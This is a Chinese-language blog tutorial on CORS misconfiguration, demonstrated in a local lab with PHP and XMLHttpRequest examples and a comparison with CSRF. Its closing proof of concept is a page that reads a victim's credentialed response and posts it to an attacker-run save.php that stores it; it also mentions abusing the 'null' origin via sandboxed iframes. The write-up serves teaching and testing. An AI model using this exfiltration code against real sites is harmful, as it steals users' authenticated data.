zoukankan      html  css  js  c++  java
  • CORS跨域资源共享漏洞初探

    介绍

    跨域资源共享(CORS) 是一种机制,它使用额外的 HTTP 头来告诉浏览器  让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。
    比如,站点 http://domain-a.com 的某 HTML 页面通过<img>的src请求 http://domain-b.com/image.jpg 网络上的许多页面都会加载来自不同域的CSS样式表,图像和脚本等资源。
    出于安全原因,浏览器限制从脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。(译者注:这段描述不准确,并不一定是浏览器限制了发起跨站请求,也可能是跨站请求可以正常发起,但是返回结果被浏览器拦截了。)

    跨域资源共享( CORS )机制允许 Web 应用服务器进行跨域访问控制,从而使跨域数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 XMLHttpRequest 或 Fetch )使用 CORS,以降低跨域 HTTP 请求所带来的风险。

    实践

    www.x.com/cors.html 测试页面

    <html>
    <head></head>
    <body>
    </body>
    <script>
    var invocation = new XMLHttpRequest();
    var url = 'http://127.0.0.1/remember/CORS.php';
    function callOtherDomain() {
      if(invocation) {    
        invocation.open('GET', url, true);
        // invocation.onreadystatechange =;
        invocation.send(); 
      }
    }
    callOtherDomain();
    </script>
    </html>
    

    127.0.0.1/remember/CORS.php 服务端

    <?php
    setcookie("user","userpassword",null,null,null,null,null);
    

    打开www.x.com/cors.html页面会对127.0.0.1发出Ajax请求,Ajax请求默认不同域会被浏览器同源策略拦截返回数据

    <?php
    header("Access-Control-Allow-Origin: *"); //设置该头表示允许访问的地址 *为无限制
    setcookie("user","userpassword",null,null,null,null,null);
    

    当设置了CORS头为*后可以发现浏览器放行了数据,并没有拦截

    header("Access-Control-Allow-Origin:http://foo.example");//声明指定域名可以跨域访问
    

    现在,除了 http://foo.example,其它外域均不能访问该资源

    因为域名不匹配而被拦截返回数据
    现在出现了一个神奇的事情
    我们将www.x.com/remember/cors.html这样构造

    <html>
    <head></head>
    <body>
    </body>
    <script>
    var invocation = new XMLHttpRequest();
    var url = 'http://127.0.0.1/remember/CORS.php';
    function callOtherDomain() {
      if(invocation) {
        invocation.onreadystatechange=function(){
          if(this.readyState==4&&this.status==200){
          alert(this.responseText);//弹出返回数据
          }
        };
        invocation.onerror = function(){
          alert("跨域请求失败");
        }
        invocation.open('GET', url, true);
        invocation.withCredentials=true;//访问时带上cookie(谁的cookie??)
        invocation.send(); 
      }
    }
    callOtherDomain();
    </script>
    </html>
    

    而服务端这样构造

    <?php
    header("Access-Control-Allow-Origin:http://www.x.com");//告诉浏览器允许跨越接收来自www.x.com请求后返回数据
    header("Access-Control-Allow-Credentials:true");//告诉浏览器允许跨越接收cookIe
    if(!$_COOKIE){//判断cookie是否存在
        setcookie("user","hxy520",null,null,null,null,null);
        setcookie("password","lovelovery",null,null,null,null,1);//设置httponly cookie
    }
    print_r($_COOKIE);//输出cookie
    ?>
    

    先来看下两个页面的cookie

    127.0.0.1的cookie为空

    www.x.com也为空
    如果在未访问127.0.0.1/remember/cors.php(服务端)的情况下访问www.x.com/remember/cors.html

    可以看到第一次访问cookie为空,服务端返回Set-Cookie,浏览器准备存储cookie,猜一猜cookie会存哪里?

    www.x.com未存储cookie

    cookie被存储在了未访问过的127.0.0.1中(实际上已经通过Ajax访问过了)
    再次访问www.x.com

    这次的请求头带上了127.0.0.1的cookie 服务端正确读取并显示,(注意跟服务端的Access-Control-Allow-Credentials头的设置有关)
    这时将Access-Control-Allow-Credentials:true设置为false


    这次访问还是带上了cookie

    响应页面正常响应

    数据被浏览器同源策略阻止
    这时我们来修改下127.0.0.1页面存储的cookie(记得打开服务端发送cookie)



    可以看到www.x.com弹出了修改后的cookie

    总结

    由此得出结论,如果服务端

    header("Access-Control-Allow-Origin:{$_SERVER['HTTP_ORIGIN']}");
    header("Access-Control-Allow-Credentials:true");//允许发送cookIe
    

    这两项配置为$_SERVER'HTTP_ORIGIN'和true时,在任何外域发起的Ajax请求都将会带上该页面的cookie,什么意思?
    就是说如果你登录了QQ空间,如果QQ空间的CORS配置不正确,那么我们就可以在任何一个域(恶意构造页面)中发起一个Ajax请求同时将withCredentials设置为True来请求QQ空间。这样当你访问恶意构造的页面时,恶意构造的页面将会发送一个Ajax请求到QQ空间并带上你的QQ空间cookie,而返回的数据正是带cookie访问的QQ空间的HTML源码!这个数据对于恶意构造页面的攻击者来说完全是可操作的,比如拿到这个数据后再发生一个AjaxPOST请求到攻击者搭建的数据接收页面
    譬如这样构造

    <html>
    <head></head>
    <body>
    </body>
    <script>
    var invocation = new XMLHttpRequest();
    var invocation2 = new XMLHttpRequest();
    var url = 'http://127.0.0.1/remember/CORS.php';
    function callOtherDomain() {
      if(invocation) {
        invocation.onreadystatechange=function(){
          if(invocation.readyState==4&&invocation.status==200){
          var datas=invocation.responseText
          alert(datas);//弹出返回数据
          invocation2.open("POST","http://www.x.com/remember/save.php",true);//二次发送数据到接收页面
          invocation2.setRequestHeader("Content-type","application/x-www-form-urlencoded");//规定头
          invocation2.send("secrect="+escape(datas));//发送数据
          }
        };
        invocation.onerror = function(){
          alert("跨域请求失败");
        }
        invocation.open('GET', url, true);
        invocation.withCredentials=true;//访问时带上cookie
        invocation.send(); 
      }
    }
    callOtherDomain();
    </script>
    </html>
    
    save.php
    <?php
    $file = fopen("secrect.txt", "w+") or die("Error opening!");
    $datas = $_POST['secrect'];
    fwrite($file, $datas);
    fclose($file);
    ?>
    

    来测试下
    模拟受害者访问www.x.com

    cookie被发送

    coo被save.php接收保存

    cookie被保存 信息被泄露 实际环境保存的可能就是登录后的某站页面了,
    引用CSRF原理 好像和这个一样啊。。。 
    CSRF不能读取用户敏感数据,而CORS可以
    CORS的规范中还提到了“NULL”源。触发这个源是为了网页跳转或者是来自本地HTML文件。
    目标应用可能会接收“null"源,并且这个可能被测试者(或者攻击者)利用,任何网站很容易使用沙盒iframe来获取”null“源

    CORS与CSRF的区别

    相同点

    • 都要借助第三方网站
    • 都要借助ajax的异步过程
    • 一般都需要用户登录
      不同点
    • 第三方网站可以利用CORS漏洞读取到受害者的敏感信息
    • 第三方网站可以利用CSRF漏洞替受害者完成诸如转账等敏感操作
    • 一般有CORS漏洞的地方都有CSRF漏洞
  • 相关阅读:
    IDEA 创建Spring项目后org.springframework.boot报错
    启动Tomcat失败 命令框一闪而过
    Tomcat(解压版)下载和配置
    启动Tomcat控制台显示乱码
    Android Studio 连接mumu模拟器
    CentOS7 修改主机名
    使用IDEA运行项目时提示:Warning:java: 源值1.5已过时, 将在未来所有发行版中删除
    mariadb远程授权问题
    idea中log4j的简单使用
    InfluxDB从原理到实战
  • 原文地址:https://www.cnblogs.com/AirSky/p/ATTACK_CORS.html
Copyright © 2011-2022 走看看